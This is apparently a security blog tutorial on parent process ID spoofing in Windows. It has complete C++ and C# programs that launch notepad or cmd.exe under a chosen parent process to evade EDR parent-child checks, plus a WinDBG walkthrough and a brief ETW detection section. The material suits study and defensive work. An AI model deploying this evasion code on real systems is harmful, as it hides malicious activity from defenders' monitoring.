Modern EDR solutions track process parent-child relationships to determine if suspicious activity is taking place. For instance, Microsoft Word launching cmd.exe would likely trigger an alarm.
When calling CreateProcess, it’s possible to set the attribute PROC_THREAD_ATTRIBUTE_PARENT_PROCESS to define the parent process. This attribute is part of the STARTUPINFOEXA structure. This is documented behaviour;
The lpValue parameter is a pointer to a handle to a process to use instead of the calling process as the parent for the process being created. The process to use must have the PROCESS_CREATE_PROCESS access right.
Modifying the Parent Process ID Value
To change the PPID of process, the following steps need to happen;
Call InitializeProcThreadAttributeList once to get the size of storing a single attribute.
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
Allocate some memory to store the attribute (based on the size received in InitializeProcThreadAttributeList), with HeapAlloc.
startupInfo.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
Call InitializeProcThreadAttributeList again with our allocated memory.
InitializeProcThreadAttributeList(startupInfo.lpAttributeList, 1, 0, &attributeSize);
Get a handle to our target parent process using OpenProcess.
HANDLE parentProcessHandle = OpenProcess(PROCESS_CREATE_PROCESS, false, targetParent);
Call UpdateProcThreadAttribute to with our newly allocated attribute, setting the lpValue parameter to our parent process handle. This will ensure our attribute has the parent process ID of the target.
UpdateProcThreadAttribute(startupInfo.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
Start our new process using CreateProcess with an STARTUPINFOEX structure. The EXTENDED_STARTUPINFO_PRESENT process creation flag needs to be set for the attribute to be read.
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &startupInfo.StartupInfo, &processInfo);
C++ PPID Spoofing Code
#include <windows.h>
#include <iostream>
#include <TlHelp32.h>
DWORD GetParent(const char* pName) {
PROCESSENTRY32 pEntry;
HANDLE snapshot;
pEntry.dwSize = sizeof(PROCESSENTRY32);
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(snapshot, &pEntry) == TRUE) {
while (Process32Next(snapshot, &pEntry) == TRUE) {
if (_stricmp(pEntry.szExeFile, pName) == 0) {
return pEntry.th32ProcessID;
}
}
}
CloseHandle(snapshot);
return 0;
}
int main()
{
STARTUPINFOEXA startupInfo;
PROCESS_INFORMATION processInfo;
SIZE_T attributeSize;
ZeroMemory(&startupInfo, sizeof(STARTUPINFOEXA));
// Set the target process
// DWORD targetParent = 9416;
// Get the parent PID
DWORD targetParent = GetParent((LPSTR)"msedge.exe");
printf("Parent ID : %d\n", targetParent);
// Initialize the attribute list with a count of one. Store the size in attributeSize.
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
// Allocate a buffer with the required size
startupInfo.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
printf("Attribute size: %d\n", attributeSize);
// Call InitializeProcThreadAttributeList again with our buffer and the size parameter
InitializeProcThreadAttributeList(startupInfo.lpAttributeList, 1, 0, &attributeSize);
// Get a handle to the parent process (PROCESS_CREATE_PROCESS access mask)
HANDLE parentProcessHandle = OpenProcess(PROCESS_CREATE_PROCESS, false, targetParent);
// Update the attribute list with the parent process handle
UpdateProcThreadAttribute(startupInfo.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
startupInfo.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// Start the process...
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &startupInfo.StartupInfo, &processInfo);
printf("New process ID : %d\n", processInfo.dwProcessId);
return 0;
}
The executable can be compiled with;
cl ppid_spoof.cpp /Z7
We can then examine what’s going on with WinDBG. Breaking on the CreateProcess call;
0:000> bp kernelbase!CreateProcessA
0:000> g
Breakpoint 0 hit
eax=00000001 ebx=010ed000 ecx=012ff898 edx=012ff850 esi=01526378 edi=01527a28
eip=75d99df0 esp=012ff824 ebp=012ff8b4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
KERNELBASE!CreateProcessA:
75d99df0 8bff mov edi,edi
0:000> dd esp
012ff824 00d9733a 00000000 00df8258 00000000
012ff834 00000000 00000000 00080000 00000000
012ff844 00000000 012ff850 012ff898 00000048
012ff854 00000000 00000000 00000000 00000000
012ff864 00000000 00000000 00000000 00000000
012ff874 00000000 00000000 00000000 00000000
012ff884 00000000 00000000 00000000 00000000
012ff894 015276d0 75cd530e 012ff8b8 012ff8b8
0:000> da 00df8258
00df8258 "notepad"
0:000> dt STARTUPINFOEXA 012ff850
ppid_spoof!STARTUPINFOEXA
+0x000 StartupInfo : _STARTUPINFOA
+0x044 lpAttributeList : 0x015276d0 _PROC_THREAD_ATTRIBUTE_LIST
0:000> dx -r1 (*((ppid_spoof!_STARTUPINFOA *)012ff850))
(*((ppid_spoof!_STARTUPINFOA *)012ff850)) [Type: _STARTUPINFOA]
[+0x000] cb : 0x48 [Type: unsigned long]
[+0x004] lpReserved : 0x0 [Type: char *]
[+0x008] lpDesktop : 0x0 [Type: char *]
[+0x00c] lpTitle : 0x0 [Type: char *]
[+0x010] dwX : 0x0 [Type: unsigned long]
[+0x014] dwY : 0x0 [Type: unsigned long]
[+0x018] dwXSize : 0x0 [Type: unsigned long]
[+0x01c] dwYSize : 0x0 [Type: unsigned long]
[+0x020] dwXCountChars : 0x0 [Type: unsigned long]
[+0x024] dwYCountChars : 0x0 [Type: unsigned long]
[+0x028] dwFillAttribute : 0x0 [Type: unsigned long]
[+0x02c] dwFlags : 0x0 [Type: unsigned long]
[+0x030] wShowWindow : 0x0 [Type: unsigned short]
[+0x032] cbReserved2 : 0x0 [Type: unsigned short]
[+0x034] lpReserved2 : 0x0 [Type: unsigned char *]
[+0x038] hStdInput : 0x0 [Type: void *]
[+0x03c] hStdOutput : 0x0 [Type: void *]
[+0x040] hStdError : 0x0 [Type: void *]
0:000> dx -r1 ((ppid_spoof!_PROC_THREAD_ATTRIBUTE_LIST *)0x15276d0)
((ppid_spoof!_PROC_THREAD_ATTRIBUTE_LIST *)0x15276d0) : 0x15276d0 [Type: _PROC_THREAD_ATTRIBUTE_LIST *]
The STARTUPINFOA data structure is unpopulated apart from it’s size. The other parameters are optional.
Unfortunately the DT command appears unable to parse the _PROC_THREAD_ATTRIBUTE_LIST, but manually traversing it we can see the new parent process ID;
0:000> dd 0x15276d0
015276d0 00000001 00000001 00000001 baadf00d
015276e0 00000000 00020000 00000004 012ff8a8 < 012ff8a8 = Attribute1
015276f0 abababab abababab 00000000 00000000
01527700 22dc6639 00004fc6 01529000 015236b8
01527710 feeefeee feeefeee feeefeee feeefeee
01527720 feeefeee feeefeee feeefeee feeefeee
01527730 feeefeee feeefeee feeefeee feeefeee
01527740 feeefeee feeefeee feeefeee feeefeee
0:000> dd 012ff8a8
012ff8a8 00000054 0000207c 00000020 012ff8fc < 0000207c = 8316n (msedge.exe process ID)
012ff8b8 00d97644 00000001 01526378 01527a28
012ff8c8 5857c5d8 00d91136 00d91136 010ed000
012ff8d8 00000000 00000000 00000000 012ff8c8
012ff8e8 00000000 012ff954 00d98b40 5998238c
012ff8f8 00000000 012ff90c 76b77d59 010ed000
012ff908 76b77d40 012ff964 77d9b79b 010ed000
012ff918 35ab15fb 00000000 00000000 010ed000
Once the code has been executed, you should see notepad opening under the parent process of Microsoft Edge;
Viewing Parent Process ID’s in C#
Processes can be queried in C# using Process.GetProcesses. Unfortunately, this can’t be used to determine the PPID. As such, a WMI query is then run to resolve this information.
using System;
using System.Diagnostics;
using System.Management;
namespace GetProcesses
{
internal class Program
{
static void Main(string[] args)
{
int PPID;
Process[] processes = Process.GetProcesses();
Array.ForEach(processes, (process) =>
{
try
{
PPID = GetParentProcess(process.Id);
Console.WriteLine("Process: {0} ID: {1} PPID: {2}", process.ProcessName, process.Id, PPID);
}
catch
{
Console.WriteLine("Error Finding PPID: " + process.ProcessName + " " + process.Id);
}
});
Console.ReadKey();
}
private static int GetParentProcess(int Id)
{
int parentPid = 0;
using (ManagementObject mo = new ManagementObject("win32_process.handle='" + Id.ToString() + "'"))
{
mo.Get();
parentPid = Convert.ToInt32(mo["ParentProcessId"]);
}
return parentPid;
}
}
}
C# PPID Spoofing Code
PPID Spoofing in C# can be performed using P/Invoke.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace PPIDSpoofing
{
internal class Program
{
static void Main(string[] args)
{
Win32.PROCESS_INFORMATION processInfo = new Win32.PROCESS_INFORMATION();
Win32.STARTUPINFOEX startUpInfoEx = new Win32.STARTUPINFOEX();
IntPtr lpValueProc = IntPtr.Zero;
IntPtr lpAttributeListSize = IntPtr.Zero;
string parentCmd = "notepad";
string command = @"C:\Windows\System32\cmd.exe";
Win32.InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpAttributeListSize);
startUpInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpAttributeListSize);
Win32.InitializeProcThreadAttributeList(startUpInfoEx.lpAttributeList, 1, 0, ref lpAttributeListSize);
// Get a handle to the process we want to set as parent
Process[] proc = Process.GetProcessesByName(parentCmd);
IntPtr parent = Win32.OpenProcess(0x00C0, false, proc[0].Id);
lpValueProc = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(lpValueProc, parent);
Win32.UpdateProcThreadAttribute(startUpInfoEx.lpAttributeList, 0, (IntPtr)0x20000, lpValueProc, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);
//Start our process
Console.WriteLine("Starting " + command);
Win32.CreateProcess(command, null, IntPtr.Zero, IntPtr.Zero, true, 0x80010, IntPtr.Zero, null, ref startUpInfoEx, out processInfo);
}
class Win32
{
[DllImport("kernel32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(int processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
public struct STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
}
}
}
Detection
Whilst tools like process monitor may be fooled by alterations to the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute, the real parent PID value can still be determined using either via Kernel callbacks, or Event Tracing for Windows.
Using ProcMonXv2 which looks at ETW events, we can see that ppid_spoof.exe is actually the process spawning notepad.exe;